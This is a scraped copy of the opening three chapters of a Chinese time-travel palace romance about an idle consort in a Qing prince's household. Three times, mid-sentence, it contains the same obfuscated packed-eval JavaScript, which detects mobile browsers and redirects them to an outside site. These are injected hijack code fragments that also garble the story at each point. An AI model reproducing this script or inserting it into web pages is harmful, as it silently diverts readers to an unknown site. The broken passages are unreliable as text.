《胤祺家的咸鱼格格(清穿)》 1. 第 1 章 第一章 康熙三十四年,谷雨。 三月倒春寒,寒气席卷了整个紫禁城,昨天还晴空万里,阳光普照,今日说冷便冷下来了,尤其刚才下了点小雨,院里的青石板不断溅落上雨点,不一会儿就浸成了深色,凉风裹挟寒意,像是一下子回到深冬似的,好在阿哥所里的炭火足,一变天就给主子们点燃了炭盆,才不至于那么冷清。 五阿哥院西配殿的长廊下,两个宫女正偷摸说着悄悄话。 “玉心姐姐都这个时辰了,刘格格怎么还没起呢?” 说话的是刘菽圆的宫女春芽,看着十四五岁,穿着淡绿色旗装,梳起简单的两把头,十分稚嫩,她说话时不停哈着气,双脚因为冷不停地来回哆嗦。 “她?可有的等呢。” 被称作玉心的宫女坐在围廊上,像是不怕冷似的,迎着凉风磕着瓜子,说话时撇了里屋一眼,然后冲院子吐了一口,毫不客气地把手里吃剩的瓜子扔给春芽,“平时就起的迟,今天下雨,估计早膳都直接不用了,不过也好,省的你我费心伺候,有这空喘口气不好吗?” 玉心曾伺候过康熙爷的第三任皇后孝懿皇后,这等履历,自然不把新进宫的宫女放在眼里,更何况若不是时运不济,凭她的容貌资历,被主子指给阿哥做侍妾都是绰绰有余,如今别说做四阿哥的侍妾,反倒被内务府派来伺候旁人,心里自然愤愤不平。 那位……虽然模样生的好,可出身低,人又懒散,这辈子做到头恐怕也就是个侍妾,也配她真心伺候? 春芽毕竟年纪小,又怕事,听了这话警惕地来回张望,她们身为格格的宫女,伺候人本就是分内之事,何况刘格格也不是什么难伺候的主,她一边应付,一边频频回头,生怕这话被旁人听见,被安上“背后编排主子、以下犯上”的罪名,可就糟了。 “玉心姐姐……”春芽一个一个给她剥着瓜子仁,手指冻得发红,声音也开始发抖,“外头太冷了,咱们还是回去吧,这么冷的天怕是会染上风寒,伺候不了主子那就麻烦了。” 宫女生病,如果是咳嗽发烧,运气好的能让主子给请个太医,熬几副汤药,身子强的便挺过去了,可若是混得不好,主子都未必请得着太医,更何况他们这些下等人。 虽然阿哥对院里的下人一向宽容,可作为奴才也不能得寸进尺,蹬鼻子上脸啊。 玉心一听果然变了脸色:“你进宫才多久,也敢教育起我来了?” 她现在满肚子火气,可不得坐冷风里冷静冷静? 春芽立刻噤了声,好在屋内很快传出动静,窗户上也映出了人影。听到主子起身的声音,春芽像解脱一般,慌忙将手心的瓜子,也不知是皮儿还是仁儿,一股脑地塞回给她。 “我先去伺候主子了,姐姐也赶紧收拾收拾,估摸着格格该饿了,姐姐去膳房点几个她常用的小菜,再端碗米粥,这么冷的天,吃点热乎的才行。” 玉心翻了个白眼,春芽这小丫头懂什么,身在宫中最重要的就是跟对主子,到时候一飞冲天,鲤鱼翻身都是有的。她今年二十三岁,等到后年就可以出宫了,虽然她手里有些积蓄,可人不能不为自己打算,要想出宫后过好日子,还得抓住机会多往上蹦蹦,当不了侍妾,也得寻个有前途的好主子。 她这样想着,眼神不由飘向远处的东配殿,那位满军旗出身的格格就很不错…… * 西配殿。 刘菽圆揉了揉眉心,反复睁开困倦的双眼,直到看清屋内的陈设,才认命地低下了头。 果然……还在这儿。 她是胎穿到这个时代的,上辈子当了社畜,又跟了个卷王组长,每天加班不算,周六日也不让人睡个安稳觉。为了那几千块的工资,她天天劳心劳力,通宵了一个礼拜后,终于在开会的路上打瞌睡,从楼梯上摔了下来。 这一摔,就摔到了清朝。 刘家祖上是内务府包衣,父亲刘文焕原是清苑县的典史,日常管理一些文书档案,偶尔也帮着登记户籍。母亲早逝后她便与祖母相依为命,后来父亲受人排挤丢了差事,直到不惑之年才考中举人,这样的家世只能入宫当宫女,谁料选秀时她竟被选进了宁寿宫。 好在刘菽圆天生咸鱼,秉持“不多事”的良好品质,在太后身边端茶递水摸了五年鱼,也没人注意。全家人一心盼望她二十五岁出宫,到时候在三个义兄中选一个嫁了,这辈子平平安安。 可天不遂人愿,太后不知从哪个犄角旮旯把她揪了出来,竟将她与另一位马佳氏一同指给了五阿哥胤祺做格格。 格格?也行。 虽偏离了原本的人生路线,但刘菽圆觉得问题不大,哪里不是躺呢,比起在宁寿宫当差,做五阿哥的侍妾有吃有住,还有份例可拿,对一心躺平的她来说倒是个不错的选择。 春芽围着炭盆,伸出手烤了好一会儿,直到身上褪去寒气,才敢上前伺候主子。她利索地给刘菽圆穿上旗装,然后端来水盆,绞了热巾子给她擦手。 春芽手快,片刻就将刘菽圆的头发绾成一个小巧圆髻,还贴心地插了支银花簪子,花蕊里嵌着极小的珍珠,耳上戴简单的素圈耳环,下面缀着小银铃,随着动作一晃一晃,米黄色的窄袖旗装衬得整个人气色极好,望着菱花镜里的倒影,春芽不由暗暗赞叹。 刘菽圆生得很美,樱桃嘴,细弯眉,皮肤吹弹可破,比剥了壳的鸡蛋还嫩,只在脸颊略擦了点薄粉就泛着淡淡的粉晕,笑起来眼尾微微上挑,如月牙般挂在眼梢,明媚动人,十分好看。 “格格,现在传膳还是再等一会儿?”春芽恭敬地递上杯温热的茉香片。 刘菽圆抿了一小口,想了想:“一会儿吧。” 已经巳时多半了,阿哥所的用膳时间是早上辰时,也就是七点左右,下午酉时,也就是五点左右,一般都是主食加小菜,不过刘菽圆常常点一些别的膳食,膳房看在她是太后宫里出来的份上,也会照做,其余的时间也不是不给吃,用些点心饽饽也是可以的。 “我想吃麻辣烫,再来点炸串。”刘菽圆砸吧了下嘴巴,六七天没吃有味道的食物,她总觉得好像缺了点什么,很不得劲,“辣椒要四川花椒和陕西秦椒,放些豆腐、菌菇、木耳、鹌鹑蛋、豆芽什么的,肉就不用了,记得最后浇上一勺厚厚的二八酱就行,周公公知道我的口味,炸串就腌入味儿的鸡排和藕盒,豆角和虾也多来几串,要撒上满满的孜然,炸得滋滋冒油时涂上酱料就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221937|181554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最好吃了。” 春芽点了点头,正准备吩咐门口守着的太监,一个身着暗紫色旗装,眉眼严肃的年长嬷嬷突然掀起布帘出现,她立刻半蹲请了个安,乖乖侯到旁边去了。 “格格这阵子圆润不少,腰身比上月紧了足足半指,荤腥油辣的菜就先停了,膳房备的小菜清爽解腻,格格将就用些吧。” 她的声音不大,却极有威严,衣裳的盘扣颗颗对齐,系得十分端正,说话时连旗头上的流苏都未动过一瞬,话音未落,不只春芽这个小丫头,就连刘菽圆也悄悄掩了声。 戴嬷嬷是宁寿宫的老人,也是五阿哥胤祺的奶嬷嬷,胤祺六岁从宁寿宫搬去阿哥所,太后实在放心不下,便将身边伺候了几十年的戴嬷嬷派了过去,让她跟着胤祺。她既是五爷院子里的掌事嬷嬷,也是后院实际的管事,眼下院里只有两个格格,后院的事情不论大小都得从她手里过一遭。 总管太监李德禄自小伺候五爷,主仆俩关系甚好,胤祺身边的哈哈珠子也是太后从满蒙八旗中挑选的佼佼者,个个精明能干。 不得不说,这位太后是真心宠爱五阿哥,这些事情就连胤祺的亲生额娘宜妃都不允许随便插手。 当时安排侍妾,拟好的两人名单里并没有刘菽圆。除了马佳芸珞,也就是如今的马佳格格,还有位出身不错的瓜尔佳氏,本是预备给五爷直接做侧福晋的,也不知为何从名单上划了下来, 代替她的,就是刘菽圆。 但究竟是意外,还是另有隐情,就不得而知了。 刘菽圆不知道的是,当时为着她这个人,太后和宜妃还闹得不太愉快,这之后再说。 顶着宁寿宫的名头,就算马佳氏的出身远远高于她,明面上谁也不敢怠慢,就连素日得花银子才能吃好菜的膳房,也巴巴地送来她想要的吃食。 得了戴嬷嬷的示意,几个小太监鱼贯而入,打开黑漆榆木食盒,将里面的菜肴一碟一碟地摆了出来,有清炒菠菜,腌萝卜条,嫩黄温润的鸡蛋羹,还有碗糙米饭。 这早膳看着简单,味道却不错,刘菽圆拿起银勺迫不及待挖了口鸡蛋羹,嫩得顺着喉咙就滑了下去。 戴嬷嬷见她半分不挑拣,眼底不由掠过一丝赞许,太后娘娘颇具慧眼,刘格格这样的人虽然没什么上进心,可胜在安分守己,总归不会在五爷院里出什么差错,闹出什么风波,惹人心烦。 她往前凑了半步,压着声音叮嘱:“五爷这些天不太舒服,闻不得辛辣气,格格这几日暂且用些清淡的吃食,我瞧着这天还得冷个三四日,已经让膳房预备下了锅子,屋里虽然烧着炭火,还得吃口热汤水这身上才能暖和起来。” 戴嬷嬷在宁寿宫就对刘菽圆印象颇深,寻常宫女长期伺候人,眼神里常带些怯意,可她不同,眉眼间清清爽爽,淡然又随和,用一个词概括就是“通透”。后来宁寿宫给五阿哥选侍妾,她还愣了愣,根本没想到居然会是她。 “格格是宁寿宫出来的人,往后尽心看顾好五阿哥,便是替太后分忧。”戴嬷嬷缓了缓语气,又加了一句,“来日生下一男半女,自然前途无量。” 刘菽圆夹着青菜的手一顿,闻言抬头乖巧一笑:“嬷嬷说的是,菽圆知道了。” 2. 第 2 章 第二章 胤祺今日心情有些烦闷。 上书房是清朝皇子们日常上课之地,有谙达们传授读书明理、研习经史,也有专门的师傅亲授骑射之术,他自小养在宁寿宫,九岁之前只会说蒙语,开蒙后本就跟不上进度,太后对他的学业并未过多苛责,在她眼里只盼皇孙平安长大,至于学业并不重要。 起初他也是这样想的,小小的人儿在寒冬腊月顶着困意,一句汉话也不会说,一个汉字也不认得,好在有同龄人相伴,跟着兄弟们一起,补补觉也没什么不好。 直到康熙领着众大臣和藩国使臣来到上书房,向众人展示他饱读诗书的皇子。大阿哥胤禔年岁最高自不必说,文章倒背如流,各类典故脱口而出,太子胤礽乃康熙最宠爱的皇子,天资聪慧,谙达们也极为尽心,倾囊相授,对文章的理解听得康熙频频点头,三阿哥胤祉、四阿哥胤禛,一个勤勉好学,一个笃实稳重,虽比不过两位兄长,但在这个年纪能有如此见解,也很优秀。 唯独他,比上不足比下也无余。 小七胤祐、小八胤禩都能摇头晃脑地背上几句,奶声奶气的声音逗得康熙哈哈大笑,可他却连一句三字经都磕磕绊绊,康熙的脸瞬间铁青,纵然他听不懂众人的窃窃私语,也清楚自己惹得皇阿玛不快。于是,之后的他就像变了个人一样,格外用功,每日早早地就来到上书房温书,闲暇时也不忘锻炼身体,可他毕竟天资有限,多年努力唯有骑射上还算颇有建树。 每年八月,康熙都会举行木兰秋狝,不仅有涉猎比赛,期间还会接见蒙古各贵族首领,是阿哥们能向皇阿玛表现自己的好机会。去年因为失误,他只猎得几只兔子,今年他可要好好准备,争取一举夺魁。 其他皇子早已离开,胤祺回到空无一人的上书房稍歇片刻,见他起身,哈哈珠子立刻有眼色地收拾好笔墨跟在主子身后。 宁寿宫太监早候在宫门外,见胤祺的身影忙上前了两步,笑呵呵道:“五爷吉祥,太后她老人家惦记您,知道这么冷的天五爷还在练习骑射,特意吩咐小厨房准备了姜汤,让您暖暖身子。” 胤祺念及皇玛嬷的关爱,命哈哈珠子接过食盒,这才轻笑道:“替我多谢皇玛嬷,胤祺会的。” 得了话的太监笑眯眯地冲胤祺打了个千儿:“那奴才就回宁寿宫复命了,阿哥慢走。” 胤祺站在原地,直到太监的背影消失在拐弯处才收回目光,望着食盒默默叹了口气,他自小胃口不佳,尤其近几月更沾不得半点荤腥,但凡闻到油腻便会反胃。为了不让太后担心,每每到宁寿宫用膳时,他总会逼着自己少用一些,可回到阿哥所的住处便会尽数吐出,康熙只当他练习骑射这才瘦了,也没多问。 可眼下这姜汤…… “五哥!” 正犯愁时,十二岁的胤俄跑过来拍了拍他的肩膀,“你怎么不回家,站在这里发呆?” 十阿哥胤俄是温僖贵妃所出,她是孝昭皇后的妹妹,辅政大臣遏必隆之女,母家背景显赫,胤俄在康熙的十几个儿子中算是出身贵重的。 自从去年十一月初三,贵妃薨逝,如今也已快四个月了,温僖贵妃生前性子刚直跋扈,并无深交的妃嫔,那些出身不高的阿哥,也因忌惮他的母家,不敢与胤俄亲近,胤祺心疼瘦了一大圈的胤俄,常常拉着他说话安慰,也送些点心吃喝,一来二去两人关系逐渐拉近。 “十弟,天气这么冷,怎不穿件披风?”胤祺看向他单薄的衣服,眉头紧皱,“身边的人怎么伺候的,就是如此应付人吗?内务府怎么选的人!” 听得胤祺对他的关心,胤俄心里一暖,忙替太监解释:“是我故意不穿的,本就快四月了,还穿那么厚实像个粽子一样,反正我院子近,紧跑两步也就回去了。” 皇子们一般五六岁便迁居阿哥所,太子是例外——康熙特地修建毓庆宫作为东宫给胤礽居住,其余阿哥则按年纪各分一处院子,但话是如此,但宫里人还是讲究的还是子凭母贵,有宠的四阿哥、五阿哥、十阿哥院子自然格外宽敞,风水又好,至于七阿哥、八阿哥这些生母出身不高的阿哥只能分到什么住什么了。 如今阿哥所里住着十几位阿哥,稍显拥挤,其中年纪最大的是惠妃所生的大阿哥胤禔,一大家子都挤在一个院子,听说快不够住了,年岁最小的则是德妃所生的十四阿哥胤禵,今年只有七岁。 “正好。”胤祺将怀里的食盒递了过去,“这里面是熬好的姜汤,还热乎着,回了院子赶紧让下人伺候着多喝几碗,这天儿还得冷一阵子,明日可不能这么穿了。” 胤俄拱手谢过:“多谢五哥。”说完又垮下脸来,语气中带着几分逗弄,“哥哥们都有妻妾侍奉,别说姜汤,更贴心的也有,五哥你现在还不回去,不怕有人惦记?” “你这小子?也敢编排起五哥来了?”胤祺宠溺一笑,伸手摸了摸胤俄的脑袋,他如今个头窜得都长到胤祺肩膀了,只是温僖贵妃去世,无生母在旁操心,总是无人替他打算,“别急,你八哥九哥不还是孤家寡人吗?” 胤俄生得像他额娘,脸庞圆润,天庭饱满,一看就是个有福气的,他正是情窦初开的年纪,听了这话也害羞地挠了挠头。 胤祺笑着说:“你现在还小,先专注读书,等过两年宫里也该给你备下了。” * 刘菽圆在长廊下陪下人们一起等候。 暮色渐沉,各院都挂上了灯笼,暖黄的光透过窗户纸映出来,将地上的人影拉得老长。 刘菽圆穿一身淡粉色旗装,外面套了件素色夹袄,料子都是份例里发的,领口连滚边暗纹也没有,头上斜插了朵绒花,依旧简单寻常,叫人挑不出半分错处。 东偏院的马佳芸珞也特地换上一身豆绿色旗装,暗绣白色蝴蝶,小圆髻上插一支梅花银簪,手上套只素面银镯,整个人清丽婉约。 两个人门童似的守在前院,一人身后跟着数名宫女太监,这阵仗知道的是等阿哥回来,不清楚的还以为什么领导莅临指导了呢。 不过她刘菽圆的确是把胤祺当领导侍奉的。 阿哥们酉时初下学,宫里的晚膳也是这个时间。 清朝宫廷实行“两餐制”,早膳、晚膳相对隆重,其余时间只用些点心小食,刘菽圆一下午就垫了两块糕点,这会儿早就惦记上晚上的锅子,可都从酉时初等到酉时中了,胤祺的影儿都没一个。 刘菽圆爱睡懒觉,早上容易睡过去,午膳用些糕点根本吃不饱,她就盘算着等什么时候能自己动手做午膳,总不能一直叫她这么饿着肚子啊。 马佳芸珞看向一旁走神的刘菽圆,忍不住露出嫌弃的表情,她家虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221938|181554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是京中普通官宦,可宫里的荣妃可是她的族亲,细细算来一声堂姐也是叫得的,虽然现在没如她所愿入宫做个答应、常在,可凭她的本事,做个阿哥府的侧福晋也是够的,如今只是个侍妾也就罢了,偏偏与她平起平坐的居然还是个这么个人,实在叫人不忿。 出身不好,性子也慢,真不知她有什么资格。 正腹诽着,胤祺便回来了。 两人今年三月才被指给了胤祺,除却第一次侍寝后,刘菽圆有小十天没见过他了。 胤祺年方十六七,身姿颀长,只是有些清瘦,脸颊单薄,白皙的脸庞上嵌着一双少年人特有的清澈眼眸,给人的感觉像极了翠山鹿泉前的一片竹林。 “见过五爷。” 马佳芸珞理所当然地上前,笑眯眯地开口,“五爷今日回得晚了些,可是师傅留了课业?奴才屋里煨了爷爱喝的普洱,五爷过去暖暖手吧。”然后便熟络地系紧他披风的带子,完全无视了一旁的刘菽圆。 有人出面,刘菽圆继续心安理得地当她的小透明。 被指给胤祺做侍妾的第一天她就下定目标,这辈子做一条躺平的咸鱼。 尽管是个侍妾,但她自己单独一个青芜院,手底下还有几个人伺候。有吃有住有份例,有人伺候自己,还有人抢着伺候领导。她又是宁寿宫出身,只要安分守己不作妖,太后也会护她周全。 更别提宫里时常送来的赏赐,比她爹的俸禄都多好几倍。 这个条件也忒好了。 想起第一天侍寝后,她还假惺惺地起了个大早装乖巧,结果人自己就收拾好了,根本不用侍妾伺候,院里也没有福晋,不用早起请安,刘菽圆立马躺回去了。 至于胤祺…… 刘菽圆觉得这领导还是挺值得追随的。 一来他不像其他兄弟,毅然扎进“九子夺嫡”的漩涡,始终安分守己,是康熙崽子们为数不多有好下场的阿哥。 二来他出身不低,性格又好。康熙说他“心性甚善,为人淳厚”,在这样品行端和的大好人手底下干活,怎么会被压榨? 还有最要紧的一点,胤祺的相貌确实不错。虽然她没见过其他阿哥,但胤祺的额娘可是大名鼎鼎的宜妃,在康熙妃嫔中可是出了名的美人,有这样的额娘,儿子的样貌自然不差。 领导赏心悦目,她“加班”也心甘情愿啊。 马佳芸珞仍喋喋不休地说着话,嘴巴张张合合,无外是些“惦记、思念”之类的话,听得胤祺耳朵都起茧了。 这时,胤祺的眼神无意扫向旁边,这女子看似端庄地站着,可肩膀一高一低,格外显眼。 刘菽圆现在满心满眼都是那顿锅子,又觉得这花盆底真是害人的玩意儿,站的她脚疼,人一走神就容易原形毕露,现在人这么多,光又暗,胤祺和马佳氏忙着说话,哪里顾得上她这个背景板。 于是她微微屈膝,抬起右脚脚跟,把整个重心都移到脚尖,这只脚歇了会儿又换到另一只,这么偷偷地来回换着,好在身上穿着的这件旗服宽大,完全遮挡了她的动作。 “五爷?五爷?” 马佳氏唤了两次,胤祺才回过神来看她,“怎么了?” 马佳氏耐着性子继续重复了一遍:“五爷的晚膳可要在奴婢这儿吃?奴婢已经让膳房备下了。” 3. 第 3 章 第三章 马佳氏说话时自信满满,完全没注意胤祺的眼神偏向了另一侧。 “改日吧,爷今夜去青芜院瞧瞧。” 刘菽圆正走神,只留了半只耳朵放哨,马佳氏也根本没料到会被拒绝,两人听到这话冷不丁都愣在了原地。 阿哥都发话了,马佳氏只能将嘴边的话硬生生咽了回去:“好……奴婢知道了。”她指尖悄悄攥紧帕子,身形顿了顿才屈膝福了一礼,“奴婢先退下了。” 胤祺随意地摆了摆手,目光却落在了刘菽圆身上,一想到刚才她偷懒的模样就觉得十分好笑,别的阿哥家的侍妾听到主子来院子里用晚膳,不大张旗鼓地吆喝准备也差不多,至少也殷勤地关心几句,偏她面无表情,好像还有些嫌弃。 “还不准备?你家格格今晚点了什么膳?” 前一句话是问刘菽圆的,温柔的语气里带着几分笑意,后面那句则是问脸上笑容挡不住的春芽。 春芽被点了名,忙回话:“回五爷,格格今晚的膳食是杂蔬素锅。”说着,也不忘拽了拽身边的刘菽圆。 被迫与领导一起吃饭,还是自己期待了很久的美食,刘菽圆心里叹了口气,然后挤出笑容,慢吞吞地屈膝行了个福礼:“五爷请。” 胤祺连着十几日晚膳都是在宁寿宫用的,今日刘菽圆梳妆时,戴嬷嬷透露五爷晚上回来用膳,春芽替格格高兴极了。 自从五爷不过来,格格每天懒懒散散,白天天气好就晒晒太阳、睡午觉,天气不好就赏赏风景、睡午觉,隔壁马格格每天派人去阿哥所问五爷的情况,自家格格最多和李公公和戴嬷嬷推荐下膳房什么吃食做得好,急得她恨不能跟上马格格的宫女一起在五爷面前献殷勤。 如今五爷好不容易回来,春芽耐着性子劝她出去:“格格可要好好打扮下自己,千万别叫马格格她们再看轻了去。” 但刘菽圆毫不在意,梳妆时刻意选了件常穿的旗装,发簪都没多加了一只,更别提晚膳只顾自己的口味,完全不在乎五爷是否想吃,当真吓了她一跳。 刘格格不好争宠,春芽规劝几句便也罢了。 毕竟如果主子真是马格格那般努力向上的性子,她就没有口福,能跟着吃些零嘴和特色小吃了。 相比没心机的春芽,玉心却暗暗记住了。 想到刚才,春芽那傻子还美滋滋地念叨膳房的锅子做得好,各种素菜、豆制品,份量多得吃不完,尤其那个调味更是一绝,再配上蘸料,吃完身上暖呼呼的,别提多舒服了。 说什么格格吃不完,她们这些做下人的也有口福,趁着火旺,还往炭盆里扔了几个红薯和栗子等会儿当零嘴! 小家子气。 趁着春芽给刘格格换衣服的间隙,玉心端了盘塞了纸条的红豆糕悄悄送进了绛水院。 送走玉心,马佳氏的宫女玳瑁小心翼翼地开口:“格格,您真要这么做?” 侍妾格格无权带贴身宫女进宫,所以无论是刘菽圆还是马佳芸珞,宫女都是由内务府统一调配,虽然主仆才相处不到半月,但玳瑁已然将这位主子的性格摸得一清二楚,都说身为下人,能力固然重要,但忠诚排第一位,上一位伺候的主子是个不入流的小答应,份例又少,她十分嫌弃,干活也不尽心。 可答应临死前,居然将自己毕生的钱财都留给了她。 玳瑁哭了三天,从她分配过来的那一天,玳瑁就决定这一次无论跟个什么主子,她都尽心尽力,只要主子想做的事,她豁出命来也要办好。 马佳氏沉思了下,好看的眉紧紧皱起:“她跟我耍这心机,不就是想让五爷去她院子里吗?今晚分明是她给我的下马威,五爷都半个月没同咱们用过膳,宫里的人本就看人下菜碟,这口气我必须争回来。” 玳瑁瞥了眼屋外,眼神示意青芜院的方向:“毕竟是宁寿宫出来的人,背后可是太后,那戴嬷嬷明里暗里可都是向着她的,格格做前可要想好,把自己择干净才是。” 马佳氏听了,指尖慢慢划过茶盏,里面的茶早已凉透:“我现在只是个侍妾,若是个侧福晋,何至于整日窝在这小院里这份气……” 可话又说回来了,由侍妾升侧福晋哪有这么简单。 她出身勉强够得着,可侧福晋的位置,单凭单身世可不够,除了丈夫的宠爱,更重要的是有子嗣傍身。 望着桌上那碟精致的红豆糕,马格格忽然弯了弯嘴唇:“这不是有个现成的帮手吗?” * 青芜院。 胤祺半躺在塌上,刘菽圆极有眼色地上前伺候,除了刚入院的那日,她从未与胤祺单独相处过,更不知此刻该做些什么。 从前在家里,刘菽圆只消坐一旁剥葡萄吃,祖母一边摘豆角一边絮叨东家长西家短,祖母又健谈,十句话有八句都是她开的头,刘菽圆只需要静静听着就是。 这感觉有点像上班开小差,然后被领导叫去办公室谈话,通常这个时候,为了打开话题,领导会主动关心一下下属的生活,表示他的平易近人。 “你叫刘菽圆?” “回五爷的话,是。” “在这儿住着可舒心?” “挺好的。” “家里还有什么人……” 刘菽圆逐渐失去耐心,好在春芽及时送上泡好的茶水,打断了胤祺的话,刘菽圆接过也倒了一杯,看见浅棕色的液体心下一惊,正准备开口制止,胤祺却端起直接品了一口,双眉肉眼可见地皱在一起:“奶茶?怎么是甜的?” 刘菽圆紧张地直咽唾沫,她自小不爱喝纯茶,日常都是用花茶,份例里的茶叶放着也是浪费,便挑了些小种红茶,用热牛乳泡开,还搁了些冰糖。 这一时着急,春芽竟拿错了。 胤祺自小跟着蒙古出身的太后,幼时的饮食习惯与蒙古族一般无二,奶茶在熬煮中会加入盐调味,这甜味的奶茶,十七年他还是头一回喝。 “这是奴婢家乡特色,寒凉时来一杯热乎乎的奶茶,比辣姜汤好入口的多,五爷是不习惯吗?那我去换别的……” “倒也不是。”胤祺瞧她慌乱的模样,笑着主动又抿了一小口,“挺特别的。” 其实这刘格格和马格格完全是两种性子,方才过来的路上,他看到青芜院外挂着几串银制风铃,风吹铃响,和这刘氏一样,透着别样的野趣。 屋里烧着炭火,也是暖暖的,陈设算不上精致,只是寻常的家具摆件却很耐看舒服,桌上的花瓶里还摆放着几朵盛开的粉荷。 等等,粉荷? 这时节怎么会有荷花盛开? 胤祺命人将那花瓶拿来,花瓣的质地在烛火之下更加明显,等看清楚花的模样,他轻笑出声,眼神在粉荷和刘菽圆间来回打量,像是领导充满压迫感的无声询问——你给我个解释。 刘菽圆舒了口气,暗暗给自己加油,拿出上台讲PPT时的勇气:“奴婢不善女红,这几日在戴嬷嬷的教导下才堪堪能绣出朵花来,可歪歪扭扭的实在难以示人。” “所以,你就拿这个充数?” “当然不是。”刘菽圆退后半步,解释道,“奴婢清楚自己几斤几两,戴嬷嬷更是教导细致,奴婢怎么会掩耳盗铃呢……但是人嘛,各有所长,刺绣,奴婢实在一无所成,但奴婢会织……不是,是打络子,很精通呢。” 听了她一番说辞,胤祺依旧半信半疑。 这荷花样式精美,花瓣层层叠叠,配着深绿荷叶,和真的一般,连他都给骗了。何况他在宫里多年,从未听说内务府和针线房有这等人才。 “说实话。” 刘菽圆忙蹲下行礼请罪:“不瞒五爷,这其实是奴婢家乡的独特技艺,叫做钩织,上不了台面,也比不了宫里绣娘,随便做着玩罢了。” “上不了台面?”胤祺仔细端详手中的这朵荷花,侧身给李德禄看了一眼,“你说呢?”说完,也不等李德禄回话,便收回手,自顾自摩挲静把玩起来,片刻没有出声。 正当刘菽圆以为她说错什么话时,屋外突然传来“咔嚓”一声,众人立刻被吸引了注意。 “怎么了?”胤祺沉声问道。 李德禄领着人进来时,太监小全子脸都白了,回话时声音抖得不成样子:“回、回禀主子,膳房送来晚膳了。” 胤祺疑惑地看他一眼:“那还愣着做什么,还不进来摆好?” “五爷恕罪。”小全子“咚”地一声跪了下来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221939|181554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “奴才方才手滑,没拿稳食盒,竟把里头的素锅打翻了……奴才该死,求五爷饶命啊!” 这素锅可是戴嬷嬷特意让人盯着膳房备下的,为了就是今晚能合五爷的口味,好让刘菽圆能讨五爷几分欢心。 小全子越想越怕,额头抵着冰冷的地面,忍不住替自己捏把汗,他这条小命怕是要交代在这儿了。 谁料胤祺听他说素锅打翻了,反倒悄悄松了口气:“无事,人没烫到吧?” 磕头磕到一半的小全子听到这话,抬头时眼睛瞪得老圆。 怎么?五爷没要他的脑袋?还问他有没有受伤? “奴才知错了,奴才立马让膳房再送一份。”小全子反应过来,说着又要磕头。 “不必了。”胤祺赶忙出言制止,又怕被发现不对劲,故意叹了口气,“爷午后用了不少点心,倒也不饿,这么冷的天你们也无需多跑一趟了。” 刘菽圆想着撒了的素锅,心疼极了,本来她都想好了拿剩余的食材,做个麻辣烫麻辣拌麻辣香锅什么的,可惜院子里没有小厨房,也没有灶台,不然也能支个炭火烤着吃…… 她的目光逐渐下滑,炭盆里的火星滋滋作响,火红的热焰张扬地飞舞着,仿佛在诱惑她一样。 “算了。” 这是在后宫,她又不是太后,没这资格。 虽然吃不到烤串,但炭盆里有烤栗子和烤红薯啊!刘菽圆片刻就恢复了好心情。 许是方才的事情扰了胤祺的兴致,他坐了会儿便起身离开了。 一行人的身影刚走出青芜院,刘菽圆就赶紧跑回去往后一仰,舒舒服服靠在榻上。 “红薯好了吗?快拿过来一起吃,这东西就得趁热吃才香!” 春芽笑着帮她收拾散落的鞋:“格格这么着急啊,可惜这会子还是生的,吃不得呢。”说着,她想起一事,“我记得玉心姐姐下午从膳房拿了碟红豆糕,格格要是饿了,就拿那个先垫垫肚子。” 玉心被叫到殿内,脸上先愣了一下。 方才马格格身边的玳瑁悄悄把她找了来,两人是同乡,年龄又相仿,一见面便有说不完的话,聊了聊新差事,两人就熟络的姐姐长妹妹短的互相称呼起来了。 聊着聊着,玳瑁忽然低头认真地看了玉心半晌:“可惜了。” 怎么可惜了? 玉心不解,拉着玳瑁的手追问:“好妹妹,有什么话你就直说。” 玳瑁叹了口气:“姐姐生得真好,不像我平平无奇,天生就是当丫鬟的命。” 她顿了顿,猛地像想通了什么关节,四处看了看,周围没人才压低声音,语重心长道:“姐姐,我同你说句掏心窝子的话,你可别生气。” “你说。” “我瞧着,刘格格怕是嫉妒你呢,嫉妒你长的比她好看。不然你想,为什么贴身伺候的人是春芽那小丫头,顶风冒日在院里洒扫的是你?就是怕你在五爷面前露脸啊!刘格格分明是故意防着你!” 回去的路上,玉心先前憋在心里的不解与愤懑,顿时如潮水般涌了上来,也不知哪里来的胆子,她竟趁着送膳太监递给小全子的功夫,悄悄往廊下的青砖地上扔了几块红豆糕。 院里虽点着灯笼,也不是亮堂堂的,到时有人滑倒,那也是他不小心,与她可没半点干系。 没想到刘菽圆突然问起了红豆糕,玉心心里咯噔一下,慌忙想了一套说辞:“那红豆糕……奴婢刚从膳房取回来,没留神就摔地上了,滚得满是土渣子,实在没法吃,奴婢就扔了。” 